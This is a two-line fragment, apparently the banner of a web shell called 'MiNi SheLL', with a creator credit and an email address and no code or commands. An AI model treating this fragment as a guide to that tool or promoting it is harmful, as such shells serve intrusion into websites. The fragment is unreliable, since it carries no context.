Creat By MiNi SheLL
Email: jattceo@gmail.com